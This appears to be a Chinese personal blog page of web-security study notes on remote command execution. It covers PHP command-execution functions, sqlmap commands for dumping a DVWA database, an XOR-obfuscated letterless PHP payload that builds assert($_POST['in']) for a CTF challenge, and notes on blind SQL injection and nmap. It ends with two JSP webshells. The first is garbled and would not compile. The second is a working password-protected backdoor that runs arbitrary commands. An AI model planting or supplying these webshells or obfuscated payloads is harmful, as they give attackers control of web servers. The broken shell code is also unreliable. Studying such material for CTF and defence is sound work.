Ting

Ting

满怀希望就会所向披靡

RCE

参考文章: 【web安全】——命令执行漏洞(RCE)详解
RCE总结

漏洞分类

  • 代码层过滤不严 商业应用的一些核心代码封装在二进制文件中,在web应用中通过system函数来调用:
1
system("/bin/program --arg $arg");
  • 系统的漏洞造成命令注入 比如:bash破壳漏洞
  • 调用的第三方组件存在代码执行漏洞 如:wordPress中用来处理图片的imageMagick组件、JAVA中的命令执行漏洞(struts2/ElasticsearchGroovy等)、ThinkPHP5.x的命令执行

PHP可能存在命令执行漏洞的函数

利用系统函数实现命令执行的函数

Sqlmap

1
2
3
4
-u "[url]" --cookie="[cookie]" -dbs【获取所有数据库名】
-u "[url]" --cookie="[cookie]” -D dvwa --tables【获取dvwa中所有表】
-u "[url]" --cookie="[cookie]” -D dvwa -T users --columns【获取user表中所有列】
-u "[url]" --cookie="[cookie]” -D dvwa -T users --dump【读取数据】

不包含数字or字母or特殊字符的RCE

参考题目:[SWPUCTF 2021 新生赛]hardrce

参考文章: 一些不包含数字和字母的webshell 无字母数字webshell之提高篇

绕过思路

法一 利用异或绕过

1
2
3
4
('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`')  //'assert'
'_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']')  //'_POST'

('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`')($'_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']')['in'])   //'assert($_POST['in'])'

通过本方法可以绕过对于字母的限制

布尔盲注

参考博客:https://blog.csdn.net/wangyuxiang946/article/details/123486880?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522168717513616800182146667%2522%252C%2522scm%2522%253A%252220140713.130102334..%2522%257D&request_id=168717513616800182146667&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2alltop_positive~default-1-123486880-null-null.142^v88^koosearch_v1,239^v2^insert_chatgpt&utm_term=%E5%B8%83%E5%B0%94%E7%9B%B2%E6%B3%A8&spm=1018.2226.3001.4187

1.适用情况

页面只有登录成功和登录失败这两种情况时,可以使用布尔盲注。

收集目标信息-端口扫描【nmap】

有ip地址之后端口扫描获取信息

3389端口:远程连接端口

深度利用 getshell后门木马 asp或php后们文件与网站服务器web目录下正常的网页文件混在一起,达到控制网站服务器的目的

jsp的一句话木马【指令】

1
2
<%@page import ="java.io.*"%>
<%String cmd = requests.getParameter(*cmd*);String output = "";if(cmd!=null){String s = null;try{Process p = RUntime.getRuntime().exec(cmd);BUfferedReader sl = new BufferedReadwe(new InputStream(p.getInputStream()));while((s = readLine())!=null){output += s+"\r\n";}}catch()IOException e}{e.printStackTrace();}}out.println(output);%>

上传成功后,用?cmd=可以输入指令 jsp的一句话木马【连接】 【密码:shell】

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<%@ page language="java" contentType="text/html; charset=GBK"
    pageEncoding="UTF-8"%>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>

    <head>
        <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
        <title>一句话木马</title>
    </head>

    <body>
        <%
        if ("shell".equals(request.getParameter("pwd"))) {
            java.io.InputStream input = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
            int len = -1;
            byte[] bytes = new byte[4092];
            out.print("<pre>");
            while ((len = input.read(bytes)) != -1) {
                out.println(new String(bytes, "GBK"));
            }
            out.print("</pre>");
        }
    %>
    </body>

</html>
0%